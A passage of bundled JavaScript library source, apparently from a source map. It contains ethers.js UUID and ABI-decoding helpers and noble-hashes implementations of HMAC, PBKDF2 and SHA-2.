18);\n}\n//# sourceMappingURL=units.js.map","/**\n * Explain UUID and link to RFC here.\n *\n * @_subsection: api/utils:UUID [about-uuid]\n */\nimport { getBytes, hexlify } from \"./data.js\";\n/**\n * Returns the version 4 [[link-uuid]] for the %%randomBytes%%.\n *\n * @see: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4)\n */\nexport function uuidV4(randomBytes) {\n const bytes = getBytes(randomBytes, \"randomBytes\");\n // Section: 4.1.3:\n // - time_hi_and_version[12:16] = 0b0100\n bytes[6] = (bytes[6] & 0x0f) | 0x40;\n // Section 4.4\n // - clock_seq_hi_and_reserved[6] = 0b0\n // - clock_seq_hi_and_reserved[7] = 0b1\n bytes[8] = (bytes[8] & 0x3f) | 0x80;\n const value = hexlify(bytes);\n return [\n value.substring(2, 10),\n value.substring(10, 14),\n value.substring(14, 18),\n value.substring(18, 22),\n value.substring(22, 34),\n ].join(\"-\");\n}\n//# sourceMappingURL=uuid.js.map","import { defineProperties, concat, getBytesCopy, getNumber, hexlify, toBeArray, toBigInt, toNumber, assert, assertArgument\n/*, isError*/\n } from \"../../utils/index.js\";\n/**\n * @_ignore:\n */\nexport const WordSize = 32;\nconst Padding = new Uint8Array(WordSize);\n// Properties used to immediate pass through to the underlying object\n// - `then` is used to detect if an object is a Promise for await\nconst passProperties = [\"then\"];\nconst _guard = {};\nconst resultNames = new WeakMap();\nfunction getNames(result) {\n return resultNames.get(result);\n}\nfunction setNames(result, names) {\n resultNames.set(result, names);\n}\nfunction throwError(name, error) {\n const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${name}`);\n wrapped.error = error;\n throw wrapped;\n}\nfunction toObject(names, items, deep) {\n if (names.indexOf(null) >= 0) {\n return items.map((item, index) => {\n if (item instanceof Result) {\n return toObject(getNames(item), item, deep);\n }\n return item;\n });\n }\n return names.reduce((accum, name, index) => {\n let item = items.getValue(name);\n if (!(name in accum)) {\n if (deep && item instanceof Result) {\n item = toObject(getNames(item), item, deep);\n }\n accum[name] = item;\n }\n return accum;\n }, {});\n}\n/**\n * A [[Result]] is a sub-class of Array, which allows accessing any\n * of its values either positionally by its index or, if keys are\n * provided by its name.\n *\n * @_docloc: api/abi\n */\nexport class Result extends Array {\n // No longer used; but cannot be removed as it will remove the\n // #private field from the .d.ts which may break backwards\n // compatibility\n #names;\n /**\n * @private\n */\n constructor(...args) {\n // To properly sub-class Array so the other built-in\n // functions work, the constructor has to behave fairly\n // well. So, in the event we are created via fromItems()\n // we build the read-only Result object we want, but on\n // any other input, we use the default constructor\n // constructor(guard: any, items: Array, keys?: Array);\n const guard = args[0];\n let items = args[1];\n let names = (args[2] || []).slice();\n let wrap = true;\n if (guard !== _guard) {\n items = args;\n names = [];\n wrap = false;\n }\n // Can't just pass in ...items since an array of length 1\n // is a special case in the super.\n super(items.length);\n items.forEach((item, index) => { this[index] = item; });\n // Find all unique keys\n const nameCounts = names.reduce((accum, name) => {\n if (typeof (name) === \"string\") {\n accum.set(name, (accum.get(name) || 0) + 1);\n }\n return accum;\n }, (new Map()));\n // Remove any key thats not unique\n setNames(this, Object.freeze(items.map((item, index) => {\n const name = names[index];\n if (name != null && nameCounts.get(name) === 1) {\n return name;\n }\n return null;\n })));\n // Dummy operations to prevent TypeScript from complaining\n this.#names = [];\n if (this.#names == null) {\n void (this.#names);\n }\n if (!wrap) {\n return;\n }\n // A wrapped Result is immutable\n Object.freeze(this);\n // Proxy indices and names so we can trap deferred errors\n const proxy = new Proxy(this, {\n get: (target, prop, receiver) => {\n if (typeof (prop) === \"string\") {\n // Index accessor\n if (prop.match(/^[0-9]+$/)) {\n const index = getNumber(prop, \"%index\");\n if (index < 0 || index >= this.length) {\n throw new RangeError(\"out of result range\");\n }\n const item = target[index];\n if (item instanceof Error) {\n throwError(`index ${index}`, item);\n }\n return item;\n }\n // Pass important checks (like `then` for Promise) through\n if (passProperties.indexOf(prop) >= 0) {\n return Reflect.get(target, prop, receiver);\n }\n const value = target[prop];\n if (value instanceof Function) {\n // Make sure functions work with private variables\n // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding\n return function (...args) {\n return value.apply((this === receiver) ? target : this, args);\n };\n }\n else if (!(prop in target)) {\n // Possible name accessor\n return target.getValue.apply((this === receiver) ? target : this, [prop]);\n }\n }\n return Reflect.get(target, prop, receiver);\n }\n });\n setNames(proxy, getNames(this));\n return proxy;\n }\n /**\n * Returns the Result as a normal Array. If %%deep%%, any children\n * which are Result objects are also converted to a normal Array.\n *\n * This will throw if there are any outstanding deferred\n * errors.\n */\n toArray(deep) {\n const result = [];\n this.forEach((item, index) => {\n if (item instanceof Error) {\n throwError(`index ${index}`, item);\n }\n if (deep && item instanceof Result) {\n item = item.toArray(deep);\n }\n result.push(item);\n });\n return result;\n }\n /**\n * Returns the Result as an Object with each name-value pair. If\n * %%deep%%, any children which are Result objects are also\n * converted to an Object.\n *\n * This will throw if any value is unnamed, or if there are\n * any outstanding deferred errors.\n */\n toObject(deep) {\n const names = getNames(this);\n return names.reduce((accum, name, index) => {\n assert(name != null, `value at index ${index} unnamed`, \"UNSUPPORTED_OPERATION\", {\n operation: \"toObject()\"\n });\n return toObject(names, this, deep);\n }, {});\n }\n /**\n * @_ignore\n */\n slice(start, end) {\n if (start == null) {\n start = 0;\n }\n if (start < 0) {\n start += this.length;\n if (start < 0) {\n start = 0;\n }\n }\n if (end == null) {\n end = this.length;\n }\n if (end < 0) {\n end += this.length;\n if (end < 0) {\n end = 0;\n }\n }\n if (end > this.length) {\n end = this.length;\n }\n const _names = getNames(this);\n const result = [], names = [];\n for (let i = start; i < end; i++) {\n result.push(this[i]);\n names.push(_names[i]);\n }\n return new Result(_guard, result, names);\n }\n /**\n * @_ignore\n */\n filter(callback, thisArg) {\n const _names = getNames(this);\n const result = [], names = [];\n for (let i = 0; i < this.length; i++) {\n const item = this[i];\n if (item instanceof Error) {\n throwError(`index ${i}`, item);\n }\n if (callback.call(thisArg, item, i, this)) {\n result.push(item);\n names.push(_names[i]);\n }\n }\n return new Result(_guard, result, names);\n }\n /**\n * @_ignore\n */\n map(callback, thisArg) {\n const result = [];\n for (let i = 0; i < this.length; i++) {\n const item = this[i];\n if (item instanceof Error) {\n throwError(`index ${i}`, item);\n }\n result.push(callback.call(thisArg, item, i, this));\n }\n return result;\n }\n /**\n * Returns the value for %%name%%.\n *\n * Since it is possible to have a key whose name conflicts with\n * a method on a [[Result]] or its superclass Array, or any\n * JavaScript keyword, this ensures all named values are still\n * accessible by name.\n */\n getValue(name) {\n const index = getNames(this).indexOf(name);\n if (index === -1) {\n return undefined;\n }\n const value = this[index];\n if (value instanceof Error) {\n throwError(`property ${JSON.stringify(name)}`, value.error);\n }\n return value;\n }\n /**\n * Creates a new [[Result]] for %%items%% with each entry\n * also accessible by its corresponding name in %%keys%%.\n */\n static fromItems(items, keys) {\n return new Result(_guard, items, keys);\n }\n}\n/**\n * Returns all errors found in a [[Result]].\n *\n * Since certain errors encountered when creating a [[Result]] do\n * not impact the ability to continue parsing data, they are\n * deferred until they are actually accessed. Hence a faulty string\n * in an Event that is never used does not impact the program flow.\n *\n * However, sometimes it may be useful to access, identify or\n * validate correctness of a [[Result]].\n *\n * @_docloc api/abi\n */\nexport function checkResultErrors(result) {\n // Find the first error (if any)\n const errors = [];\n const checkErrors = function (path, object) {\n if (!Array.isArray(object)) {\n return;\n }\n for (let key in object) {\n const childPath = path.slice();\n childPath.push(key);\n try {\n checkErrors(childPath, object[key]);\n }\n catch (error) {\n errors.push({ path: childPath, error: error });\n }\n }\n };\n checkErrors([], result);\n return errors;\n}\nfunction getValue(value) {\n let bytes = toBeArray(value);\n assert(bytes.length <= WordSize, \"value out-of-bounds\", \"BUFFER_OVERRUN\", { buffer: bytes, length: WordSize, offset: bytes.length });\n if (bytes.length !== WordSize) {\n bytes = getBytesCopy(concat([Padding.slice(bytes.length % WordSize), bytes]));\n }\n return bytes;\n}\n/**\n * @_ignore\n */\nexport class Coder {\n // The coder name:\n // - address, uint256, tuple, array, etc.\n name;\n // The fully expanded type, including composite types:\n // - address, uint256, tuple(address,bytes), uint256[3][4][], etc.\n type;\n // The localName bound in the signature, in this example it is \"baz\":\n // - tuple(address foo, uint bar) baz\n localName;\n // Whether this type is dynamic:\n // - Dynamic: bytes, string, address[], tuple(boolean[]), etc.\n // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8)\n dynamic;\n constructor(name, type, localName, dynamic) {\n defineProperties(this, { name, type, localName, dynamic }, {\n name: \"string\", type: \"string\", localName: \"string\", dynamic: \"boolean\"\n });\n }\n _throwError(message, value) {\n assertArgument(false, message, this.localName, value);\n }\n}\n/**\n * @_ignore\n */\nexport class Writer {\n // An array of WordSize lengthed objects to concatenation\n #data;\n #dataLength;\n constructor() {\n this.#data = [];\n this.#dataLength = 0;\n }\n get data() {\n return concat(this.#data);\n }\n get length() { return this.#dataLength; }\n #writeData(data) {\n this.#data.push(data);\n this.#dataLength += data.length;\n return data.length;\n }\n appendWriter(writer) {\n return this.#writeData(getBytesCopy(writer.data));\n }\n // Arrayish item; pad on the right to *nearest* WordSize\n writeBytes(value) {\n let bytes = getBytesCopy(value);\n const paddingOffset = bytes.length % WordSize;\n if (paddingOffset) {\n bytes = getBytesCopy(concat([bytes, Padding.slice(paddingOffset)]));\n }\n return this.#writeData(bytes);\n }\n // Numeric item; pad on the left *to* WordSize\n writeValue(value) {\n return this.#writeData(getValue(value));\n }\n // Inserts a numeric place-holder, returning a callback that can\n // be used to asjust the value later\n writeUpdatableValue() {\n const offset = this.#data.length;\n this.#data.push(Padding);\n this.#dataLength += WordSize;\n return (value) => {\n this.#data[offset] = getValue(value);\n };\n }\n}\n/**\n * @_ignore\n */\nexport class Reader {\n // Allows incomplete unpadded data to be read; otherwise an error\n // is raised if attempting to overrun the buffer. This is required\n // to deal with an old Solidity bug, in which event data for\n // external (not public thoguh) was tightly packed.\n allowLoose;\n #data;\n #offset;\n #bytesRead;\n #parent;\n #maxInflation;\n constructor(data, allowLoose, maxInflation) {\n defineProperties(this, { allowLoose: !!allowLoose });\n this.#data = getBytesCopy(data);\n this.#bytesRead = 0;\n this.#parent = null;\n this.#maxInflation = (maxInflation != null) ? maxInflation : 1024;\n this.#offset = 0;\n }\n get data() { return hexlify(this.#data); }\n get dataLength() { return this.#data.length; }\n get consumed() { return this.#offset; }\n get bytes() { return new Uint8Array(this.#data); }\n #incrementBytesRead(count) {\n if (this.#parent) {\n return this.#parent.#incrementBytesRead(count);\n }\n this.#bytesRead += count;\n // Check for excessive inflation (see: #4537)\n assert(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\\/github.com/ethers-io/ethers.js/issues/4537 )`, \"BUFFER_OVERRUN\", {\n buffer: getBytesCopy(this.#data), offset: this.#offset,\n length: count, info: {\n bytesRead: this.#bytesRead,\n dataLength: this.dataLength\n }\n });\n }\n #peekBytes(offset, length, loose) {\n let alignedLength = Math.ceil(length / WordSize) * WordSize;\n if (this.#offset + alignedLength > this.#data.length) {\n if (this.allowLoose && loose && this.#offset + length <= this.#data.length) {\n alignedLength = length;\n }\n else {\n assert(false, \"data out-of-bounds\", \"BUFFER_OVERRUN\", {\n buffer: getBytesCopy(this.#data),\n length: this.#data.length,\n offset: this.#offset + alignedLength\n });\n }\n }\n return this.#data.slice(this.#offset, this.#offset + alignedLength);\n }\n // Create a sub-reader with the same underlying data, but offset\n subReader(offset) {\n const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation);\n reader.#parent = this;\n return reader;\n }\n // Read bytes\n readBytes(length, loose) {\n let bytes = this.#peekBytes(0, length, !!loose);\n this.#incrementBytesRead(length);\n this.#offset += bytes.length;\n // @TODO: Make sure the length..end bytes are all 0?\n return bytes.slice(0, length);\n }\n // Read a numeric values\n readValue() {\n return toBigInt(this.readBytes(WordSize));\n }\n readIndex() {\n return toNumber(this.readBytes(WordSize));\n }\n}\n//# sourceMappingURL=abstract-coder.js.map","function number(n) {\n if (!Number.isSafeInteger(n) || n < 0)\n throw new Error(`Wrong positive integer: ${n}`);\n}\nfunction bool(b) {\n if (typeof b !== 'boolean')\n throw new Error(`Expected boolean, not ${b}`);\n}\nfunction bytes(b, ...lengths) {\n if (!(b instanceof Uint8Array))\n throw new Error('Expected Uint8Array');\n if (lengths.length > 0 && !lengths.includes(b.length))\n throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`);\n}\nfunction hash(hash) {\n if (typeof hash !== 'function' || typeof hash.create !== 'function')\n throw new Error('Hash should be wrapped by utils.wrapConstructor');\n number(hash.outputLen);\n number(hash.blockLen);\n}\nfunction exists(instance, checkFinished = true) {\n if (instance.destroyed)\n throw new Error('Hash instance has been destroyed');\n if (checkFinished && instance.finished)\n throw new Error('Hash#digest() has already been called');\n}\nfunction output(out, instance) {\n bytes(out);\n const min = instance.outputLen;\n if (out.length < min) {\n throw new Error(`digestInto() expects output buffer of length at least ${min}`);\n }\n}\nexport { number, bool, bytes, hash, exists, output };\nconst assert = { number, bool, bytes, hash, exists, output };\nexport default assert;\n//# sourceMappingURL=_assert.js.map","export const crypto = typeof globalThis === 'object' && 'crypto' in globalThis ? globalThis.crypto : undefined;\n//# sourceMappingURL=crypto.js.map","/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+.\n// node.js versions earlier than v19 don't declare it in global scope.\n// For node.js, package.json#exports field mapping rewrites import\n// from `crypto` to `cryptoNode`, which imports native module.\n// Makes the utils un-importable in browsers without a bundler.\n// Once node.js 18 is deprecated, we can just drop the import.\nimport { crypto } from '@noble/hashes/crypto';\nconst u8a = (a) => a instanceof Uint8Array;\n// Cast array to different type\nexport const u8 = (arr) => new Uint8Array(arr.buffer, arr.byteOffset, arr.byteLength);\nexport const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4));\n// Cast array to view\nexport const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength);\n// The rotate right (circular right shift) operation for uint32\nexport const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift);\n// big-endian hardware is rare. Just in case someone still decides to run hashes:\n// early-throw an error because we don't support BE yet.\nexport const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44;\nif (!isLE)\n throw new Error('Non little-endian hardware is not supported');\nconst hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0'));\n/**\n * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123'\n */\nexport function bytesToHex(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n // pre-caching improves the speed 6x\n let hex = '';\n for (let i = 0; i < bytes.length; i++) {\n hex += hexes[bytes[i]];\n }\n return hex;\n}\n/**\n * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23])\n */\nexport function hexToBytes(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n const len = hex.length;\n if (len % 2)\n throw new Error('padded hex string expected, got unpadded hex of length ' + len);\n const array = new Uint8Array(len / 2);\n for (let i = 0; i < array.length; i++) {\n const j = i * 2;\n const hexByte = hex.slice(j, j + 2);\n const byte = Number.parseInt(hexByte, 16);\n if (Number.isNaN(byte) || byte < 0)\n throw new Error('Invalid byte sequence');\n array[i] = byte;\n }\n return array;\n}\n// There is no setImmediate in browser and setTimeout is slow.\n// call of async fn will return Promise, which will be fullfiled only on\n// next scheduler queue processing step and this is exactly what we need.\nexport const nextTick = async () => { };\n// Returns control to thread each 'tick' ms to avoid blocking\nexport async function asyncLoop(iters, tick, cb) {\n let ts = Date.now();\n for (let i = 0; i < iters; i++) {\n cb(i);\n // Date.now() is not monotonic, so in case if clock goes backwards we return return control too\n const diff = Date.now() - ts;\n if (diff >= 0 && diff < tick)\n continue;\n await nextTick();\n ts += diff;\n }\n}\n/**\n * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99])\n */\nexport function utf8ToBytes(str) {\n if (typeof str !== 'string')\n throw new Error(`utf8ToBytes expected string, got ${typeof str}`);\n return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809\n}\n/**\n * Normalizes (non-hex) string or Uint8Array to Uint8Array.\n * Warning: when Uint8Array is passed, it would NOT get copied.\n * Keep in mind for future mutable operations.\n */\nexport function toBytes(data) {\n if (typeof data === 'string')\n data = utf8ToBytes(data);\n if (!u8a(data))\n throw new Error(`expected Uint8Array, got ${typeof data}`);\n return data;\n}\n/**\n * Copies several Uint8Arrays into one.\n */\nexport function concatBytes(...arrays) {\n const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0));\n let pad = 0; // walk through each item, ensure they have proper type\n arrays.forEach((a) => {\n if (!u8a(a))\n throw new Error('Uint8Array expected');\n r.set(a, pad);\n pad += a.length;\n });\n return r;\n}\n// For runtime check if class implements interface\nexport class Hash {\n // Safe version that clones internal state\n clone() {\n return this._cloneInto();\n }\n}\nconst toStr = {}.toString;\nexport function checkOpts(defaults, opts) {\n if (opts !== undefined && toStr.call(opts) !== '[object Object]')\n throw new Error('Options should be object or undefined');\n const merged = Object.assign(defaults, opts);\n return merged;\n}\nexport function wrapConstructor(hashCons) {\n const hashC = (msg) => hashCons().update(toBytes(msg)).digest();\n const tmp = hashCons();\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = () => hashCons();\n return hashC;\n}\nexport function wrapConstructorWithOpts(hashCons) {\n const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest();\n const tmp = hashCons({});\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = (opts) => hashCons(opts);\n return hashC;\n}\nexport function wrapXOFConstructorWithOpts(hashCons) {\n const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest();\n const tmp = hashCons({});\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = (opts) => hashCons(opts);\n return hashC;\n}\n/**\n * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS.\n */\nexport function randomBytes(bytesLength = 32) {\n if (crypto && typeof crypto.getRandomValues === 'function') {\n return crypto.getRandomValues(new Uint8Array(bytesLength));\n }\n throw new Error('crypto.getRandomValues must be defined');\n}\n//# sourceMappingURL=utils.js.map","import { hash as assertHash, bytes as assertBytes, exists as assertExists } from './_assert.js';\nimport { Hash, toBytes } from './utils.js';\n// HMAC (RFC 2104)\nexport class HMAC extends Hash {\n constructor(hash, _key) {\n super();\n this.finished = false;\n this.destroyed = false;\n assertHash(hash);\n const key = toBytes(_key);\n this.iHash = hash.create();\n if (typeof this.iHash.update !== 'function')\n throw new Error('Expected instance of class which extends utils.Hash');\n this.blockLen = this.iHash.blockLen;\n this.outputLen = this.iHash.outputLen;\n const blockLen = this.blockLen;\n const pad = new Uint8Array(blockLen);\n // blockLen can be bigger than outputLen\n pad.set(key.length > blockLen ? hash.create().update(key).digest() : key);\n for (let i = 0; i < pad.length; i++)\n pad[i] ^= 0x36;\n this.iHash.update(pad);\n // By doing update (processing of first block) of outer hash here we can re-use it between multiple calls via clone\n this.oHash = hash.create();\n // Undo internal XOR && apply outer XOR\n for (let i = 0; i < pad.length; i++)\n pad[i] ^= 0x36 ^ 0x5c;\n this.oHash.update(pad);\n pad.fill(0);\n }\n update(buf) {\n assertExists(this);\n this.iHash.update(buf);\n return this;\n }\n digestInto(out) {\n assertExists(this);\n assertBytes(out, this.outputLen);\n this.finished = true;\n this.iHash.digestInto(out);\n this.oHash.update(out);\n this.oHash.digestInto(out);\n this.destroy();\n }\n digest() {\n const out = new Uint8Array(this.oHash.outputLen);\n this.digestInto(out);\n return out;\n }\n _cloneInto(to) {\n // Create new instance without calling constructor since key already in state and we don't know it.\n to || (to = Object.create(Object.getPrototypeOf(this), {}));\n const { oHash, iHash, finished, destroyed, blockLen, outputLen } = this;\n to = to;\n to.finished = finished;\n to.destroyed = destroyed;\n to.blockLen = blockLen;\n to.outputLen = outputLen;\n to.oHash = oHash._cloneInto(to.oHash);\n to.iHash = iHash._cloneInto(to.iHash);\n return to;\n }\n destroy() {\n this.destroyed = true;\n this.oHash.destroy();\n this.iHash.destroy();\n }\n}\n/**\n * HMAC: RFC2104 message authentication code.\n * @param hash - function that would be used e.g. sha256\n * @param key - message key\n * @param message - message data\n */\nexport const hmac = (hash, key, message) => new HMAC(hash, key).update(message).digest();\nhmac.create = (hash, key) => new HMAC(hash, key);\n//# sourceMappingURL=hmac.js.map","import { hash as assertHash, number as assertNumber } from './_assert.js';\nimport { hmac } from './hmac.js';\nimport { createView, toBytes, checkOpts, asyncLoop } from './utils.js';\n// Common prologue and epilogue for sync/async functions\nfunction pbkdf2Init(hash, _password, _salt, _opts) {\n assertHash(hash);\n const opts = checkOpts({ dkLen: 32, asyncTick: 10 }, _opts);\n const { c, dkLen, asyncTick } = opts;\n assertNumber(c);\n assertNumber(dkLen);\n assertNumber(asyncTick);\n if (c < 1)\n throw new Error('PBKDF2: iterations (c) should be >= 1');\n const password = toBytes(_password);\n const salt = toBytes(_salt);\n // DK = PBKDF2(PRF, Password, Salt, c, dkLen);\n const DK = new Uint8Array(dkLen);\n // U1 = PRF(Password, Salt + INT_32_BE(i))\n const PRF = hmac.create(hash, password);\n const PRFSalt = PRF._cloneInto().update(salt);\n return { c, dkLen, asyncTick, DK, PRF, PRFSalt };\n}\nfunction pbkdf2Output(PRF, PRFSalt, DK, prfW, u) {\n PRF.destroy();\n PRFSalt.destroy();\n if (prfW)\n prfW.destroy();\n u.fill(0);\n return DK;\n}\n/**\n * PBKDF2-HMAC: RFC 2898 key derivation function\n * @param hash - hash function that would be used e.g. sha256\n * @param password - password from which a derived key is generated\n * @param salt - cryptographic salt\n * @param opts - {c, dkLen} where c is work factor and dkLen is output message size\n */\nexport function pbkdf2(hash, password, salt, opts) {\n const { c, dkLen, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts);\n let prfW; // Working copy\n const arr = new Uint8Array(4);\n const view = createView(arr);\n const u = new Uint8Array(PRF.outputLen);\n // DK = T1 + T2 + ⋯ + Tdklen/hlen\n for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) {\n // Ti = F(Password, Salt, c, i)\n const Ti = DK.subarray(pos, pos + PRF.outputLen);\n view.setInt32(0, ti, false);\n // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc\n // U1 = PRF(Password, Salt + INT_32_BE(i))\n (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u);\n Ti.set(u.subarray(0, Ti.length));\n for (let ui = 1; ui < c; ui++) {\n // Uc = PRF(Password, Uc−1)\n PRF._cloneInto(prfW).update(u).digestInto(u);\n for (let i = 0; i < Ti.length; i++)\n Ti[i] ^= u[i];\n }\n }\n return pbkdf2Output(PRF, PRFSalt, DK, prfW, u);\n}\nexport async function pbkdf2Async(hash, password, salt, opts) {\n const { c, dkLen, asyncTick, DK, PRF, PRFSalt } = pbkdf2Init(hash, password, salt, opts);\n let prfW; // Working copy\n const arr = new Uint8Array(4);\n const view = createView(arr);\n const u = new Uint8Array(PRF.outputLen);\n // DK = T1 + T2 + ⋯ + Tdklen/hlen\n for (let ti = 1, pos = 0; pos < dkLen; ti++, pos += PRF.outputLen) {\n // Ti = F(Password, Salt, c, i)\n const Ti = DK.subarray(pos, pos + PRF.outputLen);\n view.setInt32(0, ti, false);\n // F(Password, Salt, c, i) = U1 ^ U2 ^ ⋯ ^ Uc\n // U1 = PRF(Password, Salt + INT_32_BE(i))\n (prfW = PRFSalt._cloneInto(prfW)).update(arr).digestInto(u);\n Ti.set(u.subarray(0, Ti.length));\n await asyncLoop(c - 1, asyncTick, () => {\n // Uc = PRF(Password, Uc−1)\n PRF._cloneInto(prfW).update(u).digestInto(u);\n for (let i = 0; i < Ti.length; i++)\n Ti[i] ^= u[i];\n });\n }\n return pbkdf2Output(PRF, PRFSalt, DK, prfW, u);\n}\n//# sourceMappingURL=pbkdf2.js.map","import { exists, output } from './_assert.js';\nimport { Hash, createView, toBytes } from './utils.js';\n// Polyfill for Safari 14\nfunction setBigUint64(view, byteOffset, value, isLE) {\n if (typeof view.setBigUint64 === 'function')\n return view.setBigUint64(byteOffset, value, isLE);\n const _32n = BigInt(32);\n const _u32_max = BigInt(0xffffffff);\n const wh = Number((value >> _32n) & _u32_max);\n const wl = Number(value & _u32_max);\n const h = isLE ? 4 : 0;\n const l = isLE ? 0 : 4;\n view.setUint32(byteOffset + h, wh, isLE);\n view.setUint32(byteOffset + l, wl, isLE);\n}\n// Base SHA2 class (RFC 6234)\nexport class SHA2 extends Hash {\n constructor(blockLen, outputLen, padOffset, isLE) {\n super();\n this.blockLen = blockLen;\n this.outputLen = outputLen;\n this.padOffset = padOffset;\n this.isLE = isLE;\n this.finished = false;\n this.length = 0;\n this.pos = 0;\n this.destroyed = false;\n this.buffer = new Uint8Array(blockLen);\n this.view = createView(this.buffer);\n }\n update(data) {\n exists(this);\n const { view, buffer, blockLen } = this;\n data = toBytes(data);\n const len = data.length;\n for (let pos = 0; pos < len;) {\n const take = Math.min(blockLen - this.pos, len - pos);\n // Fast path: we have at least one block in input, cast it to view and process\n if (take === blockLen) {\n const dataView = createView(data);\n for (; blockLen <= len - pos; pos += blockLen)\n this.process(dataView, pos);\n continue;\n }\n buffer.set(data.subarray(pos, pos + take), this.pos);\n this.pos += take;\n pos += take;\n if (this.pos === blockLen) {\n this.process(view, 0);\n this.pos = 0;\n }\n }\n this.length += data.length;\n this.roundClean();\n return this;\n }\n digestInto(out) {\n exists(this);\n output(out, this);\n this.finished = true;\n // Padding\n // We can avoid allocation of buffer for padding completely if it\n // was previously not allocated here. But it won't change performance.\n const { buffer, view, blockLen, isLE } = this;\n let { pos } = this;\n // append the bit '1' to the message\n buffer[pos++] = 0b10000000;\n this.buffer.subarray(pos).fill(0);\n // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again\n if (this.padOffset > blockLen - pos) {\n this.process(view, 0);\n pos = 0;\n }\n // Pad until full block byte with zeros\n for (let i = pos; i < blockLen; i++)\n buffer[i] = 0;\n // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that\n // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen.\n // So we just write lowest 64 bits of that value.\n setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE);\n this.process(view, 0);\n const oview = createView(out);\n const len = this.outputLen;\n // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT\n if (len % 4)\n throw new Error('_sha2: outputLen should be aligned to 32bit');\n const outLen = len / 4;\n const state = this.get();\n if (outLen > state.length)\n throw new Error('_sha2: outputLen bigger than state');\n for (let i = 0; i < outLen; i++)\n oview.setUint32(4 * i, state[i], isLE);\n }\n digest() {\n const { buffer, outputLen } = this;\n this.digestInto(buffer);\n const res = buffer.slice(0, outputLen);\n this.destroy();\n return res;\n }\n _cloneInto(to) {\n to || (to = new this.constructor());\n to.set(...this.get());\n const { blockLen, buffer, length, finished, destroyed, pos } = this;\n to.length = length;\n to.pos = pos;\n to.finished = finished;\n to.destroyed = destroyed;\n if (length % blockLen)\n to.buffer.set(buffer);\n return to;\n }\n}\n//# sourceMappingURL=_sha2.js.map","import { SHA2 } from './_sha2.js';\nimport { rotr, wrapConstructor } from './utils.js';\n// SHA2-256 need to try 2^128 hashes to execute birthday attack.\n// BTC network is doing 2^67 hashes/sec as per early 2023.\n// Choice: a ? b : c\nconst Chi = (a, b, c) => (a & b) ^ (~a & c);\n// Majority function, true if any two inpust is true\nconst Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c);\n// Round constants:\n// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311)\n// prettier-ignore\nconst SHA256_K = /* @__PURE__ */ new Uint32Array([\n 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n]);\n// Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19):\n// prettier-ignore\nconst IV = /* @__PURE__ */ new Uint32Array([\n 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19\n]);\n// Temporary buffer, not used to store anything between 